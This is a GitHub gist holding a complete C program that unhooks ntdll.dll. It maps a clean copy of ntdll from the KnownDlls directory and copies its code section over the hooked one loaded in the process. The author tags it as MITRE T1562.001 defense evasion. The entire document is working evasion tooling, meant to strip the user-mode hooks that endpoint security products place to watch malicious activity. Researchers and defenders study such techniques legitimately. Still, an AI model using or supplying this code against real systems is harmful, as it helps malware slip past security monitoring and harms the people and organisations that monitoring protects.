Skip to content

Instantly share code, notes, and snippets.

@wizardy0ga
Last active June 18, 2024 03:10
Show Gist options
  • Save wizardy0ga/afabda19d4d71bd9cb36a3ff8ad84e71 to your computer and use it in GitHub Desktop.
Save wizardy0ga/afabda19d4d71bd9cb36a3ff8ad84e71 to your computer and use it in GitHub Desktop.
Unhooking NTDLL using a copy from the KnownDlls directory
/*
Author:
wizardy0ga
Date:
June 2024
Description:
Unhook ntdll using a copy mapped from the knowndlls directory.
https://learn.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order#factors-that-affect-searching
Mitre:
Defense Evasion:
T1562.001 - Impair Defenses: Disable or Modify Tools
Tested on:
Windows 10 19045.4529
*/
#include <windows.h>
#include <stdio.h>
#define OBJ_CASE_INSENSITIVE 0x00000040L
#define InitializeObjectAttributes( p, n, a, r, s ) { \
(p)->Length = sizeof( OBJECT_ATTRIBUTES ); \
(p)->RootDirectory = r; \
(p)->Attributes = a; \
(p)->ObjectName = n; \
(p)->SecurityDescriptor = s; \
(p)->SecurityQualityOfService = NULL; \
}
#define check_dos(dos_header) if (dos_header->e_magic != IMAGE_DOS_SIGNATURE) { printf("Dos signature mismatch.\n"); return -1; }
#define check_nt(nt_header) if (nt_header->Signature != IMAGE_NT_SIGNATURE) { printf("Nt signature mismatch.\n"); return -1; }
#define set_memory_protection(lpAddress, dwSize, flNewProtect, lpflOldProtect) \
if (!VirtualProtect(lpAddress, dwSize, flNewProtect, lpflOldProtect)) { \
printf("VirtualProtect failed with error: 0x%d\n", GetLastError()); \
return -1; \
} \
typedef struct _PEB_LDR_DATA {
BYTE Reserved1[8];
PVOID Reserved2[3];
LIST_ENTRY InMemoryOrderModuleList;
} PEB_LDR_DATA, * PPEB_LDR_DATA;
typedef struct _LDR_DATA_TABLE_ENTRY {
PVOID Reserved1[2];
LIST_ENTRY InMemoryOrderLinks;
PVOID Reserved2[2];
PVOID DllBase;
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
typedef struct _PEB {
BYTE Reserved1[2];
BYTE BeingDebugged;
BYTE Reserved2[1];
PVOID Reserved3[2];
PPEB_LDR_DATA Ldr;
} PEB, * PPEB;
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;
typedef struct _OBJECT_ATTRIBUTES {
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;
typedef VOID(NTAPI* fpRtlInitUnicodeString) (
PUNICODE_STRING DestinationString,
__drv_aliasesMem PCWSTR SourceString
);
typedef NTSTATUS(NTAPI* fpNtOpenSection)(
PHANDLE SectionHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes
);
int main() {
OBJECT_ATTRIBUTES OA = { 0 };
UNICODE_STRING String = { 0 };
WCHAR NtDll[] = L"\\KnownDlls\\ntdll.dll";
NTSTATUS Status = 0;
HANDLE hSection = NULL;
SIZE_T NtDllTextSize = 0;
DWORD OldProtection = 0;
PVOID pUnhookedNtDll = NULL,
pUnhookedText = NULL,
pHookedText = NULL,
pHookedNtDll = NULL;
PPEB pPeb = NULL;
PLDR_DATA_TABLE_ENTRY pNtDllLdrEntry = NULL;
PIMAGE_DOS_HEADER pHookedDos = NULL,
pUnhookedDos = NULL;
PIMAGE_NT_HEADERS pHookedNt = NULL,
pUnhookedNt = NULL;
fpNtOpenSection NtOpenSection = (fpNtOpenSection)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtOpenSection");
fpRtlInitUnicodeString RtlInitUnicodeString = (fpRtlInitUnicodeString)GetProcAddress(GetModuleHandleA("ntdll.dll"), "RtlInitUnicodeString");
if (!RtlInitUnicodeString || !NtOpenSection) {
printf("Failed to resolve a function from ntdll.\n"); return -1;
}
/* Populate unicode string & init object attribute structure */
RtlInitUnicodeString(&String, NtDll);
InitializeObjectAttributes(&OA, &String, OBJ_CASE_INSENSITIVE, NULL, NULL);
/* Get a handle to ntdll from known dlls directory */
Status = NtOpenSection(&hSection, SECTION_MAP_READ, &OA);
if (Status != 0x0) {
printf("NtOpenSection failed with error: 0x%0.8X\n", Status); return -1;
}
/* Get a pointer to the mapped copy of ntdll from knowndlls directory */
pUnhookedNtDll = MapViewOfFile(hSection, FILE_MAP_READ, 0, 0, 0);
if (pUnhookedNtDll == NULL) {
printf("Failed to get a pointer to ntdll file mapping.\n"); return -1;
}
printf("Mapped ntdll to memory from knowndlls directory. Location -> 0x%p\n", pUnhookedNtDll);
/* Get the base address of hooked ntdll loaded into process at creation time */
pPeb = (PPEB)__readgsqword(0x60);
pNtDllLdrEntry = (PLDR_DATA_TABLE_ENTRY)((PBYTE)pPeb->Ldr->InMemoryOrderModuleList.Flink->Flink - 0x10);
pHookedNtDll = pNtDllLdrEntry->DllBase;
if (!pPeb || !pNtDllLdrEntry || !pHookedNtDll) {
printf("failed to locate hooked ntdll base address in peb.\n"); return -1;
}
/* Parse hooked & unhooked text sections from images */
check_dos((pHookedDos = (PIMAGE_DOS_HEADER)pHookedNtDll));
check_dos((pUnhookedDos = (PIMAGE_DOS_HEADER)pUnhookedNtDll));
check_nt ((pHookedNt = (PIMAGE_NT_HEADERS)( (PBYTE)pHookedNtDll + pHookedDos->e_lfanew )));
check_nt ((pUnhookedNt = (PIMAGE_NT_HEADERS)( (PBYTE)pUnhookedNtDll + pUnhookedDos->e_lfanew )));
pHookedText = (PVOID)( (ULONG_PTR)pHookedNtDll + pHookedNt->OptionalHeader.BaseOfCode);
pUnhookedText = (PVOID)( (ULONG_PTR)pUnhookedNtDll + pUnhookedNt->OptionalHeader.BaseOfCode);
NtDllTextSize = pUnhookedNt->OptionalHeader.SizeOfCode;
if (!pHookedText || !pUnhookedText || !NtDllTextSize) {
printf("Error while parsing text section from hooked & unhooked ntdlls.\n"); return -1;
}
printf("Found hooked ntdll text section at 0x%p\nFound unhooked ntdll text section at 0x%p\n", pHookedText, pUnhookedText);
/* Unhook ntdll by copying unhooked text section into hooked ntdll text section */
set_memory_protection(pHookedText, NtDllTextSize, PAGE_EXECUTE_WRITECOPY, &OldProtection);
memcpy(pHookedText, pUnhookedText, NtDllTextSize);
set_memory_protection(pHookedText, NtDllTextSize, OldProtection, &OldProtection);
printf("Successfully unhooked ntdll! Press enter to quit.\n");
getchar();
/* Cleanup */
CloseHandle(hSection);
UnmapViewOfFile(pUnhookedNtDll);
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment